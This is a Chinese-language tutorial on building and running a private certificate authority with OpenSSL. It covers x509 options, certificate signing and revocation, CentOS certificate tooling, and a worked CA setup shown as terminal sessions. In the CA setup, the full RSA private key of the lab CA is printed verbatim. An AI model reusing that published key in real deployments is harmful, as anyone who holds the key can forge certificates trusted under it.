-certopt option:自定义要输出的项
-noout         :禁止输出证书请求文件中的编码部分
-pubkey        :输出证书中的公钥
-modulus       :输出证书中公钥模块部分
-serial        :输出证书的序列号
-subject       :输出证书中的subject
-issuer        :输出证书中的issuer,即颁发者的subject
-subject_hash  :输出证书中subject的hash码
-issuer_hash   :输出证书中issuer(即颁发者的subject)的hash码
-hash          :等价于"-subject_hash",但此项是为了向后兼容才提供的选项
-email         :输出证书中的email地址,如果有email的话
-startdate     :输出证书有效期的起始日期
-enddate       :输出证书有效期的终止日期
-dates         :输出证书有效期,等价于"startdate+enddate"
-fingerprint   :输出指纹摘要信息
输出证书某些信息的时候,可以配合"-noout"选项,然后再指定某些项来使用。例如:
openssl x509 -in cert.pem -noout -text
openssl x509 -in cert.pem -noout -startdate -enddate

【签署选项:】
*****************************************************************************************
*  伪命令x509可以像openssl ca一样对证书或请求执行签名动作。注意,openssl x509         *
*  不读取配置文件,所有的一切配置都由x509自行提供,所以openssl x509像是一个"mini CA"  *
*****************************************************************************************
-signkey filename:该选项用于提供自签署时的私钥文件,自签署的输入文件"-in file"的file可以是证书请求文件,也可以是已签署过的证书。-days arg:指定证书有效期限,默认30天。
-x509toreq:将已签署的证书转换回证书请求文件。需要使用"-signkey"选项来传递需要的私钥。
-req:x509工具默认以证书文件做为inputfile(-in file),指定该选项将使得input file的file为证书请求文件。
-set_serial n:指定证书序列号。该选项可以和"-singkey""-CA"选项一起使用。
             :如果和"-CA"一起使用,则"-CAserial""-CAcreateserial"选项指定的serial值将失效。
             :序列号可以使用数值或16进制值(0x开头)。也接受负值,但是不建议。
-CA filename      :指定签署时所使用的CA证书。该选项一般和"-req"选项一起使用,用于为证书请求文件签署。
-CAkey filename   :设置CA签署时使用的私钥文件。如果该选项没有指定,将假定CA私钥已经存在于CA自签名的证书文件中。
-CAserial filename:设置CA使用的序列号文件。当使用"-CA"选项来签名时,它将会使用某个文件中指定的序列号来唯一标识此次签名后的证书文件。
                  :这个序列号文件的内容仅只有一行,这一行的值为16进制的数字。当某个序列号被使用后,该文件中的序列号将自动增加。
                  :默认序列号文件以CA证书文件基名加".srl"为后缀命名。如CA证书为"mycert.pem",则默认寻找的序列号文件为"mycert.srl"
-CAcreateserial   :当使用该选项时,如果CA使用的序列号文件不存在将自动创建:该文件将包含序列号值"02"并且此次签名后证书文件序列号为1。
                  :一般如果使用了"-CA"选项而序列号文件不存在将会产生错误"找不到srl文件"。
-extfile filename :指定签名时包含要添加到证书中的扩展项的文件。

【CERTIFICATE EXTENSIONS】
-purpose:选项检查证书的扩展项并决定该证书允许用于哪些方面,即证书使用目的范围。
basicConstraints:该扩展项用于决定证书是否可以当作CA证书。格式为basicConstraints=CA:true | false
                :1.如果CA的flag设置为true,那么该证书允许作为一个CA证书,即可以颁发下级证书或进行签名;
                :2.如果CA的flag设置为false,那么该证书就不能作为CA,不能为下级颁发证书或签名;
                :3.所有CA的证书中都必须设置CA的flag为true。
                :4.如果basicConstraints扩展项未设置,那么证书被认为可疑的CA,即"possible CA"。
keyUsage:该扩展项用于指定证书额外的使用限制,即也是使用目的的一种表现方式。
        :1.如果keyUsage扩展项被指定,那么该证书将又有额外的使用限制。
        :2.CA证书文件中必须至少设置keyUsage=keyCertSign。
        :3.如果设置了keyUsage扩展项,那么不论是否使用了critical,都将被限制在指定的使用目的purpose上。

范例

#使用x509工具自建CA。由于x509无法建立证书请求文件,所以只能使用openssl req来生成请求文件,然后使用x509来自签署。
openssl req -new -keyout key.pem -out req.csr
openssl x509 -req -in req.csr -signkey key.pem -out x509.crt

#x509也可以用来签署他人的证书请求,即为他人颁发证书。注意,为他人颁发证书时,确保serial文件存在,建议使用自动创建的选项"-CAcreateserial"。
openssl x509 -req -in req.csr -CA ca.crt -CAkey ca.key -out x509.crt -CAcreateserial # 用这个可以避免一些错误

范例: k8s签署证书

# setp1 签发请求
openssl req -nodes -sha256  -newkey rsa:4096 -keyout apiserver-etcd-client.key  -out apiserver-etcd-client.csr -subj "/CN=apiserver-etcd-client/O=system:masters"

# setp2 ca签发方式1
openssl x509 -days 36500 -req -in apiserver-etcd-client.csr -CA etcd/ca.crt -CAkey etcd/ca.key -CAcreateserial -extensions v3_req_etcd -extfile openssl.cnf -out apiserver-etcd-client.crt
# setp2 ca签发方式2(不推荐,要求有证书签发配置ca,可以没有证书请求配置req)
source ~/env.sh 
export CERT_DIR=etcd
touch $CERT_DIR/index.txt
echo 1000 > $CERT_DIR/serial
touch $CERT_DIR/index.txt.attr
echo "unique_subject = no" > $CERT_DIR/index.txt.attr

openssl ca -batch -days 36500 -notext \
    -config <(cat openssl.cnf <(printf '[ ca ]\ndefault_ca = CA_default\n[ CA_default ]\ndir=${ENV::CERT_DIR}\ncerts = $dir\nnew_certs_dir =$dir\ndatabase = $dir/index.txt\nunique_subject = no\nserial = $dir/serial\npolicy = policy_loose\n[ policy_loose ]\n')) \
    -extensions v3_req_etcd  -notext -cert etcd/ca.crt -keyfile etcd/ca.key -md sha256 -in apiserver-etcd-client.csr -out apiserver-etcd-client.crt 
#清理   
rm -f $CERT_DIR/index*
rm -f $CERT_DIR/100*
rm -f $CERT_DIR/serial*

吊销证书

在客户端获取要吊销的证书的serial

openssl x509 -in /PATH/FROM/CERT_FILE -noout -serial -subject

在CA上,根据客户提交的serial与subject信息,对比检验是否与index.txt文件 中的信息一致,吊销证书:

openssl ca -revoke /etc/pki/CA/newcerts/SERIAL.pem

指定第一个吊销证书的编号,注意:第一次更新证书吊销列表前,才需要执行

echo 01 > /etc/pki/CA/crlnumber

更新证书吊销列表

openssl ca -gencrl -out /etc/pki/CA/crl.pem

查看crl文件:

openssl crl -in /etc/pki/CA/crl.pem -noout -text

我的做法 除了做了上面的还是不行,所幸就删了

> /etc/pki/CA/index.txt
rm -f   /etc/pki/CA/crlnumber.old

CentOS 7 创建自签名证书

/etc/pki/tls/certs 有makefile文件

[root@Centos7 ~]#cd /etc/pki/tls/certs
[root@Centos7 certs]#make
This makefile allows you to create:
  o public/private key pairs #创建公钥私钥对
  o SSL certificate signing requests (CSRs) # 创建csr文件
  o self-signed SSL test certificates # 自签名证书

To create a key pair, run "make SOMETHING.key".
To create a CSR, run "make SOMETHING.csr".
To create a test certificate, run "make SOMETHING.crt".
To create a key and a test certificate in one file, run "make SOMETHING.pem". # 私钥和证书合并为一个文件

To create a key for use with Apache, run "make genkey".
To create a CSR for use with Apache, run "make certreq".
To create a test certificate for use with Apache, run "make testcert".

To create a test certificate with serial number other than random, add SERIAL=num
You can also specify key length with KEYLEN=n and expiration in days with DAYS=n
Any additional options can be passed to openssl req via EXTRA_FLAGS

Examples:
  make server.key
  make server.csr
  make server.crt
  make stunnel.pem
  make genkey
  make certreq
  make testcert
  make server.crt SERIAL=1
  make stunnel.pem EXTRA_FLAGS=-sha384
  make testcert DAYS=600
[root@Centos7 certs]#ls
ca-bundle.crt        make-dummy-cert  renew-dummy-cert

ca-bundle.trust.crt  Makefile
[root@Centos7 certs]#cat Makefile 
UTF8 := $(shell locale -c LC_CTYPE -k | grep -q charmap.*UTF-8 && echo -utf8)
DAYS=365
KEYLEN=2048
TYPE=rsa:$(KEYLEN)
EXTRA_FLAGS=
ifdef SERIAL
    EXTRA_FLAGS+=-set_serial $(SERIAL)
endif

.PHONY: usage
.SUFFIXES: .key .csr .crt .pem
.PRECIOUS: %.key %.csr %.crt %.pem

usage:
    @echo "This makefile allows you to create:"
    @echo "  o public/private key pairs"
    @echo "  o SSL certificate signing requests (CSRs)"
    @echo "  o self-signed SSL test certificates"
    @echo
    @echo "To create a key pair, run \"make SOMETHING.key\"."
    @echo "To create a CSR, run \"make SOMETHING.csr\"."
    @echo "To create a test certificate, run \"make SOMETHING.crt\"."
    @echo "To create a key and a test certificate in one file, run \"make SOMETHING.pem\"."
    @echo
    @echo "To create a key for use with Apache, run \"make genkey\"."
    @echo "To create a CSR for use with Apache, run \"make certreq\"."
    @echo "To create a test certificate for use with Apache, run \"make testcert\"."
    @echo
    @echo "To create a test certificate with serial number other than random, add SERIAL=num"
    @echo "You can also specify key length with KEYLEN=n and expiration in days with DAYS=n"
    @echo "Any additional options can be passed to openssl req via EXTRA_FLAGS"
    @echo
    @echo Examples:
    @echo "  make server.key"
    @echo "  make server.csr"
    @echo "  make server.crt"
    @echo "  make stunnel.pem"
    @echo "  make genkey"
    @echo "  make certreq"
    @echo "  make testcert"
    @echo "  make server.crt SERIAL=1"
    @echo "  make stunnel.pem EXTRA_FLAGS=-sha384"
    @echo "  make testcert DAYS=600"

%.pem:
    umask 77 ; \
    PEM1=`/bin/mktemp /tmp/openssl.XXXXXX` ; \
    PEM2=`/bin/mktemp /tmp/openssl.XXXXXX` ; \
    /usr/bin/openssl req $(UTF8) -newkey $(TYPE) -keyout $$PEM1 -nodes -x509 -days $(DAYS) -out $$PEM2 $(EXTRA_FLAGS) ; \
    cat $$PEM1 >  $@ ; \
    echo ""    >> $@ ; \
    cat $$PEM2 >> $@ ; \
    $(RM) $$PEM1 $$PEM2

%.key:
    umask 77 ; \
    /usr/bin/openssl genrsa -aes128 $(KEYLEN) > $@

%.csr: %.key
    umask 77 ; \
    /usr/bin/openssl req $(UTF8) -new -key $^ -out $@

%.crt: %.key
    umask 77 ; \
    /usr/bin/openssl req $(UTF8) -new -key $^ -x509 -days $(DAYS) -out $@ $(EXTRA_FLAGS)

TLSROOT=/etc/pki/tls
KEY=$(TLSROOT)/private/localhost.key
CSR=$(TLSROOT)/certs/localhost.csr
CRT=$(TLSROOT)/certs/localhost.crt

genkey: $(KEY)
certreq: $(CSR)
testcert: $(CRT)

$(CSR): $(KEY)
    umask 77 ; \
    /usr/bin/openssl req $(UTF8) -new -key $(KEY) -out $(CSR)

$(CRT): $(KEY)
    umask 77 ; \
    /usr/bin/openssl req $(UTF8) -new -key $(KEY) -x509 -days $(DAYS) -out $(CRT) $(EXTRA_FLAGS)

[root@Centos7 certs]#make app.crt
umask 77 ; \
/usr/bin/openssl genrsa -aes128 2048 > app.key
Generating RSA private key, 2048 bit long modulus
....................................+++
............................................+++
e is 65537 (0x10001)
Enter pass phrase:
139637690505104:error:28069065:lib(40):UI_set_result:result too small:ui_lib.c:831:You must type in 4 to 1023 characters
Enter pass phrase:
Verifying - Enter pass phrase:
umask 77 ; \
/usr/bin/openssl req -utf8 -new -key app.key -x509 -days 365 -out app.crt 
Enter pass phrase for app.key:
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:CN
State or Province Name (full name) []:hubei
Locality Name (eg, city) [Default City]:wuhan
Organization Name (eg, company) [Default Company Ltd]:meu
Organizational Unit Name (eg, section) []:it
Common Name (eg, your name or your server's hostname) []:www.meu.org
Email Address []:[email protected]

[root@Centos7 certs]#ls
app.crt  ca-bundle.crt        make-dummy-cert  renew-dummy-cert
app.key  ca-bundle.trust.crt  Makefile

[root@Centos7 certs]#openssl x509 -in app.crt -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            89:3c:a6:35:21:46:a3:1d
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=CN, ST=hubei, L=wuhan, O=meu, OU=it, CN=www.meu.org/[email protected]
        Validity
            Not Before: May 24 04:48:53 2020 GMT
            Not After : May 24 04:48:53 2021 GMT
        Subject: C=CN, ST=hubei, L=wuhan, O=meu, OU=it, CN=www.meu.org/[email protected]
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:ca:64:c0:73:2d:59:f0:35:49:5f:1f:4b:e9:91:
                    5b:c4:94:18:31:3a:f0:44:53:a9:20:c7:9d:5b:46:
                    d8:54:7f:32:cf:6c:c0:d0:0e:a5:7a:1e:b5:f4:17:
                    40:65:4e:13:57:0d:cb:1c:a1:86:0e:5d:18:f4:07:
                    7f:d3:b2:d7:f8:82:52:77:37:70:29:57:bb:ac:fd:
                    8a:6b:6c:d3:55:8f:1f:66:25:16:54:77:ba:8f:f6:
                    2b:15:aa:59:c2:9b:3b:4a:be:9d:50:06:e7:38:54:
                    8c:0a:52:7c:08:38:18:17:32:fb:13:bb:51:2e:81:
                    6a:43:ad:88:e1:6b:6d:df:c6:21:2d:4b:9d:d9:9c:
                    1e:a4:8d:f3:ca:ed:10:8b:38:1b:8f:0f:c0:0d:73:
                    f8:a6:67:cb:6f:50:2e:73:ce:a2:56:fb:2b:e3:59:
                    3a:1f:65:d1:be:4b:28:84:31:69:65:13:33:2d:d8:
                    1f:2b:e1:9a:ba:b6:ac:06:14:d5:8b:70:d9:c8:7c:
                    59:c3:4f:d0:48:b7:ce:47:a3:c0:e1:e1:0b:15:e7:
                    e1:68:04:93:b3:17:f0:f9:c5:24:91:10:8f:36:ad:
                    d8:f5:8e:c2:5c:13:76:b5:64:aa:1e:56:5f:3b:37:
                    f0:47:15:7b:44:d5:9f:f1:97:7e:7b:77:4a:8f:1a:
                    db:9d
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier: 
                7F:9C:20:BD:21:CC:AB:3B:2A:46:D6:00:BC:84:47:46:90:E8:1D:73
            X509v3 Authority Key Identifier: 
                keyid:7F:9C:20:BD:21:CC:AB:3B:2A:46:D6:00:BC:84:47:46:90:E8:1D:73

            X509v3 Basic Constraints: 
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         41:4a:41:87:f2:c9:99:54:64:96:0c:e2:1d:8a:05:fb:c3:77:
         0f:45:34:fe:3a:7e:64:3b:24:00:a3:0d:c0:12:e1:35:ae:b5:
         20:8c:00:61:e6:5c:ec:dd:34:be:9e:0c:5e:2f:db:db:37:9a:
         5f:52:58:e7:84:90:14:5c:61:0d:d8:91:8a:94:2a:b7:b3:04:
         17:f9:38:9b:27:07:36:b1:49:5e:e3:27:ad:31:c8:12:64:85:
         7f:a1:09:85:31:da:6b:21:30:50:e2:44:ee:df:66:8d:85:3c:
         ce:5c:f2:8c:53:0b:a3:7c:9e:05:bf:fd:90:0e:a9:dc:0c:a5:
         85:7d:69:c3:3f:96:37:56:5c:0e:a3:a0:61:0d:09:b3:c7:82:
         d3:42:d5:ba:bf:b8:c7:c9:f8:6c:60:79:ed:35:d2:52:06:f9:
         f1:9f:38:48:c4:6c:17:cb:54:d1:62:14:e0:34:43:67:6a:f1:
         6d:d5:52:11:1a:12:5e:19:08:3c:13:90:d5:e4:f6:a1:cb:17:
         d6:32:c0:cd:21:53:44:33:96:66:b1:1e:d5:cc:70:2b:2b:13:
         02:21:3c:74:8e:8c:c4:57:8b:5b:94:9f:d2:85:b5:1e:20:2f:
         89:e5:96:83:62:1d:ee:61:14:87:d9:c0:85:5c:3d:5e:6a:32:
         1d:ce:1d:90

实战案例

创建CA相关目录和文件
[root@centos8 ~]#mkdir -pv /etc/pki/CA/{certs,crl,newcerts,private}
[root@centos8 ~]#tree /etc/pki/CA
/etc/pki/CA
├── certs
├── crl
├── newcerts
└── private
# 创建CA所需要的文件
[root@centos8 ~]#touch /etc/pki/CA/index.txt
[root@centos8 ~]#echo 01 > /etc/pki/CA/serial 
#echo 0F > /etc/pki/CA/serial

index.txt和serial文件在颁发证书时需要使用,如果不存在,会出现以下错误提示

[root@centos8 ~]#openssl ca -in /data/app1/app1.csr -out /etc/pki/CA/certs/app1.crt -days 1000
Using configuration from /etc/pki/tls/openssl.cnf
140040142845760:error:02001002:system library:fopen:No such file or
directory:crypto/bio/bss_file.c:72:fopen('/etc/pki/CA/index.txt','r')
140040142845760:error:2006D080:BIO routines:BIO_new_file:no such
file:crypto/bio/bss_file.c:79:
[root@centos8 ~]#openssl ca -in /data/app1/app1.csr -out /etc/pki/CA/certs/app1.crt -days 1000
Using configuration from /etc/pki/tls/openssl.cnf
/etc/pki/CA/serial: No such file or directory
error while loading serial number
140240559408960:error:02001002:system library:fopen:No such file or
directory:crypto/bio/bss_file.c:72:fopen('/etc/pki/CA/serial','r')
140240559408960:error:2006D080:BIO routines:BIO_new_file:no such
file:crypto/bio/bss_file.c:79:
创建CA的私钥
[root@centos8 ~]#cd /etc/pki/CA/
[root@centos8 CA]#(umask 066; openssl genrsa -out private/cakey.pem 2048)
[root@centos8 CA]#tree
.
├── certs
├── crl
├── index.txt
├── newcerts
└── private
    └── cakey.pem

[root@centos8 CA]#ll private/
-rw------- 1 root root 1679 May 21 09:05 cakey.pem
[root@centos8 CA]#cat private/cakey.pem 
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvpyGHD0NWrXCWDeEp1BK6RshJItFyMAM6kntDPHMPxhzuMLC
uSubbb+afJv7TXHTpUOuVJJxu0e8vK2aTmBuhKR6/C/IFY78MQip6ELNYy1cCKrs
BHAawXC6Zi71v5VMwlPkDLcjTPMnlpQrRRJtBB+fzyMaTBvF+0GJPU6vLCqOmRB9
0jB2ElpLVWAIEHjVqpIoXPNFjYfi0yYxnjWTKy5ZyGINiSB5/kJF0epE2EWdhD3f
v3oYZcjY0uSbjN7SDWFCEz1OF1K9jiWQbUBolBEOStq607rsRJQ9AcXAlk+voHuA
6jMMiuzK8daclFxhHT8M/wVO4gxtwLAcSyRSdwIDAQABAoIBABEO3u2eBRjuFTNh
3IxAokOUOvYTRK5/iWhaL02uQfIPlSOewmBh56n9sKygJPA8VI2ArhRBes4g0GIu
QxXqiVlzgtIY0JYlUqpstQ/lEo5im87mxPJsueg/116Xq0R27wShD1KX/R/AzvUp
02l+CaWJ0vptkMfo4GHo7og/B2wzRyzqh6ZMQI236cKWLXTf588T+kkHgDVPJfUl
sU7jEQ+OHofHGrGFEWIP7jjr4KTS+Oe4Hosk3O9ef7uhpKV3gaPTkwB94PUYXR+v
xNWInmiVkfJRDI1FjNwLdxVfiEYLstKa3ncXTRNDtGCDJ1Pt+YG8Pd6i1rPdrsUK
NeGnMnECgYEA6uGm2jwA3qDOBNpQ3fTghox4RkjGHfEkab9qZc61iy8eQpBKmjcU
1N2QJ4I0qyqHKwxLZB8e/iIF4STzO3qkrWPx66sxMuEnJhcXWNJm/3etKbDFHbmQ
HU+DbDoE/nhYhsMuXB3u1q5O01S1OXAZUBgKQesN8bGXRS3ntX4tXf8CgYEAz7/k
tC5DMkRZ4j3HcpsqHBfIBpzObTIAP2d3mM2xtKz2o8XKm6sZcTlBn4SmpdN5JQyR
9sqta7QB3GSvD4jQa9alS33KIickHkAQEkWgie0IQETtBqyxEPjOKIV3nkzCFqZR
PmC54VVFmBnP0JDCdUtRLqVqq1VeILqMNp5M+4kCgYEAnCgHmSG5Zkm8jodiqh4q
w+lR8VBivvdaQR/sqeDi27UoxhJONvcV12uyckHjqESu9tTGrrruDQErrYK2Xz3r
jAddiFQZcn00XOOPNxMzPPcg3g3TDy8WfBYoBuUP+uqh2H6dLMsNxha++0te7N/1
REWnVCnk7GIocurRGN3ZZZsCgYAXv9QhVPiRkobD+lQGof5aX82aE+r1SLYGiYl+
imU6RlubtUzIJvMtomICHmP+qQI8XgeBswHIQjfEPi5VFErfSRZ0XtjwtpDGdIRh
0lvb6KD81+RQ0wUa75aBw2A9VIELnc/D1cLqI5llHe5H5YSVbBrHvllHZObxzuGg
jNA4IQKBgQCk9pjm+VsQtRLxD4mgNp/wtexBNUtuHVKCYiWilHLfbk0ytmR8qH6K
G88Ar4Q1mWU2dJdn1UVEBlp/kVC1ASrI2sK3Zj9SrJ8DB9aDUXwRmNn3Nhfzqa2/
f8vH5vmlj6EM5oUQMiVfm5v4DwosLESmXWSH9V9OaPX5FgzwtrGKew==
-----END RSA PRIVATE KEY-----
给CA颁发自签名证书
# openssl req -new -x509 -key /etc/pki/CA/private/cakey.pem -days 36500 -out /etc/pki/CA/cacert.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:CN
State or Province Name (full name) []:beijing    
Locality Name (eg, city) [Default City]:beijing
Organization Name (eg, company) [Default Company Ltd]:ops  
Organizational Unit Name (eg, section) []:devops
Common Name (eg, your name or your server's hostname) []:ca.xcw.org          
Email Address []:

[root@centos8 ~]#tree /etc/pki/CA
/etc/pki/CA
├── cacert.pem
├── certs
├── crl
├── index.txt
├── newcerts
└── private
    └── cakey.pem

[root@centos8 ~]#cat /etc/pki/CA/cacert.pem 

# 查看证书内容
# openssl x509 -in cacert.pem  -noout -text
Certificate:
    Data:
        Version: 3 (0x2) # 版本号
        Serial Number:   # 序列号
            8f:a5:27:53:9f:a7:84:9c
    Signature Algorithm: sha256WithRSAEncryption # 签名算法
        Issuer: C=CN, ST=beijing, L=beijing, O=ops, OU=devops, CN=ca.xcw.org   # 颁发者
        Validity # 有效期
            Not Before: Mar  9 17:47:05 2021 GMT
            Not After : Mar  7 17:47:05 2031 GMT
        Subject: C=CN, ST=beijing, L=beijing, O=ops, OU=devops, CN=ca.xcw.org  # 颁发给
        Subject Public Key Info: # 公钥
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:dd:e3:7f:fd:a0:d4:96:28:7f:ff:8f:2f:ed:20:
                    43:5e:08:83:39:51:37:81:f5:84:80:37:d3:1e:ea:
                    c2:f5:9f:e8:b5:8d:c3:c0:bb:4b:b1:a7:a7:da:66:
                    ab:a9:6e:77:98:3c:29:c7:d5:44:ee:7a:b1:b8:b8:
                    b9:8c:d6:4e:e9:5c:65:75:47:90:e9:ca:e3:78:46:
                    e4:e0:e8:18:53:cd:1e:94:fd:7d:3b:57:35:96:db:
                    59:f5:55:e9:f7:fd:f4:65:2b:c5:6d:4e:2b:b5:59:
                    f5:5e:46:96:5f:23:43:25:77:cd:5f:06:ad:61:75:
                    3e:fb:6b:20:e4:ed:13:73:38:a2:76:36:07:f7:21:
                    ae:26:29:34:69:69:64:98:73:43:f8:ee:d8:bc:84:
                    2a:09:25:22:e8:59:f9:e4:4d:2f:d7:f8:fb:6a:1e:
                    36:da:9c:88:e1:b1:60:c2:0c:35:72:c1:5e:f4:d6:
                    4a:27:d7:28:52:7b:bd:0e:7c:3a:35:46:ba:85:d6:
                    2d:16:01:4d:b5:5a:a5:c6:14:7c:49:7c:26:b9:16:
                    a2:d9:df:99:81:46:a3:c1:7e:09:ae:c6:d0:06:bd:
                    1a:5a:ee:a8:8b:38:f0:8f:06:d4:62:db:c1:a8:a7:
                    e6:1d:ec:8c:19:0a:ac:48:17:f5:dd:de:6a:4e:5b:
                    8b:6f
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:   # 使用者密钥标识符
                36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85
            X509v3 Authority Key Identifier: # 授权密钥标识符
                keyid:36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85

            X509v3 Basic Constraints: 
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         ab:42:dc:6e:0f:a6:da:48:36:29:d9:e6:6c:48:a7:77:cd:42:
         2b:29:7b:da:74:73:f2:b2:16:bb:fd:27:77:6c:44:a4:a8:ad:
         26:cc:f4:0a:2a:08:68:3e:22:cc:fc:7f:3d:4d:65:9f:27:3c:
         92:f5:d0:a1:53:86:a9:3c:cd:bf:dc:a8:d8:ec:2a:03:87:7a:
         63:88:ae:2d:78:be:48:a7:7b:76:6f:f5:00:28:dc:6f:82:59:
         ba:82:58:10:65:8f:9a:92:d1:93:a3:7a:a3:9e:d8:1f:f9:92:
         eb:ec:8e:60:cd:13:4a:44:cb:d2:8e:b1:60:1b:9f:72:df:d6:
         11:eb:cd:9f:d5:3a:e3:f1:76:4c:00:cf:8e:2a:27:fc:df:bc:
         84:8e:f0:90:60:df:5e:67:af:17:1e:22:b2:3a:16:c8:26:f8:
         63:d9:a5:21:6f:87:50:32:87:15:c8:59:16:ab:26:05:12:72:
         9e:db:53:9a:cd:e6:ed:cc:97:ca:bd:b9:d6:e6:a7:0d:5a:31:
         d5:48:1b:0f:ec:bf:08:ea:8d:9d:ff:cd:be:36:14:5b:d7:68:
         99:ec:22:39:dc:e3:c0:4b:9e:a4:ed:1e:c8:00:97:81:41:34:
         f0:72:3c:28:4d:47:a8:a4:c3:d0:5f:7d:b1:71:10:2a:24:9b:
         72:e5:2e:f6
[root@centos8 ~]#sz /etc/pki/CA/cacert.pem 
#将文件cacert.pem传到windows上,修改文件名为cacert.pem.crt,双击可以看到下面显示
image-20210310020337875.png
image-20210310020351661.png
image-20210310020406317.png
用户生成私钥和证书申请
[root@centos8 ~]#mkdir /data/app1
[root@centos8 ~]#(umask 066; openssl genrsa  -out /data/app1/app1.key 2048)
Generating RSA private key, 2048 bit long modulus (2 primes)
...............+++++
.......+++++
e is 65537 (0x010001)
[root@centos8 ~]#cat /data/app1/app1.key 

[root@centos8 ~]#openssl req -new -key /data/app1/app1.key -out /data/app1/app1.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:CN #国家
State or Province Name (full name) []:beijing  # 省份
Locality Name (eg, city) [Default City]:bj
Organization Name (eg, company) [Default Company Ltd]:ops # 组织 # macth 申请证书时国家省份组织这3项必须和CA一致
Organizational Unit Name (eg, section) []:it
Common Name (eg, your name or your server's hostname) []:app1.xcw.org
Email Address []:[email protected]

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:.
[root@centos8 ~]#ll /data/app1/
total 8
-rw-r--r-- 1 root root 1045 May 21 09:34 app1.csr
-rw------- 1 root root 1675 May 21 09:31 app1.key

默认有三项内容必须和CA一致 :国家,省份,组织,如果不同,会出现下面的提示

[root@centos8 ~]#openssl ca -in /data/app2/app2.csr -out /etc/pki/CA/certs/app2.crt
Using configuration from /etc/pki/tls/openssl.cnf
Check that the request matches the signature
Signature ok
The stateOrProvinceName field is different between
CA certificate (beijing) and the request (hubei)
CA颁发证书
# openssl ca -in /data/app1/app1.csr  -out /etc/pki/CA/certs/app1.crt -days 1000 
Using configuration from /etc/pki/tls/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 1 (0x1) # 颁发证书的编号
        Validity               # 有效期
            Not Before: Mar  9 23:43:22 2021 GMT
            Not After : Dec  4 23:43:22 2023 GMT
        Subject:               # 颁发给
            countryName               = CN
            stateOrProvinceName       = beijing
            organizationName          = ops
            organizationalUnitName    = it
            commonName                = app1.xcw.org
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                03:28:C4:A1:46:73:25:C0:FC:2B:7D:AE:6D:D9:BB:9D:47:77:5F:59
            X509v3 Authority Key Identifier: 
                keyid:36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85

Certificate is to be certified until Dec  4 23:43:22 2023 GMT (1000 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated

# tree /etc/pki/CA/
/etc/pki/CA/
├── cacert.pem
├── certs
│   └── app1.crt
├── crl
├── index.txt
├── index.txt.attr #
├── index.txt.old
├── newcerts
│   └── 01.pem # 和 app1.crt内容一样
├── private
│   └── cakey.pem
├── serial
└── serial.old
# cat index.txt.attr 
unique_subject = yes # 证书的申请者是否唯一
查看证书
[root@centos8 ~]#cat /etc/pki/CA/certs/app1.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=CN, ST=beijing, L=beijing, O=ops, OU=devops, CN=ca.xcw.org
        Validity
            Not Before: Mar  9 23:43:22 2021 GMT
            Not After : Dec  4 23:43:22 2023 GMT
        Subject: C=CN, ST=beijing, O=ops, OU=it, CN=app1.xcw.org
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:f7:93:c6:9c:ac:86:c5:81:7f:c8:92:70:3d:53:
                    06:8e:4e:c8:f9:5a:36:d0:f8:30:cb:6c:b8:a7:8a:
                    ef:0b:10:10:15:5b:ec:d7:d5:3c:85:fa:0f:dc:d3:
                    e8:e8:54:01:9a:15:a5:58:71:70:f4:7e:84:4b:5d:
                    1b:44:1b:82:11:44:7c:6c:a6:93:1b:ae:f4:09:f9:
                    dc:13:95:e7:e1:ef:e6:e4:d8:05:82:ca:fa:3d:f0:
                    cb:12:5f:d7:8a:80:09:2d:bf:dd:47:63:8d:60:be:
                    aa:10:26:5b:c5:3a:57:d4:11:36:26:f4:92:96:6b:
                    e7:be:40:29:07:0f:e9:a9:9d:ff:8d:d4:3e:a3:f3:
                    71:e7:65:24:a0:73:25:b8:c3:e9:0c:96:90:e0:ef:
                    fe:20:18:d8:cd:56:21:9f:62:ee:6c:de:28:bc:e7:
                    b8:25:12:53:a9:cb:e4:4f:d5:da:07:6b:94:88:3a:
                    8b:c1:35:62:bd:e2:cf:0e:c1:72:79:3b:4c:b4:a2:
                    09:25:36:00:24:26:dd:ff:ae:43:89:bb:b1:87:40:
                    ec:bd:0d:21:c4:1e:a0:85:a2:5b:61:f2:c2:aa:46:
                    76:3f:03:0c:c7:80:46:70:ce:b7:79:9a:85:e7:e7:
                    9c:75:5d:a3:3f:14:12:a0:9d:90:e7:c2:d0:21:b3:
                    a3:e9
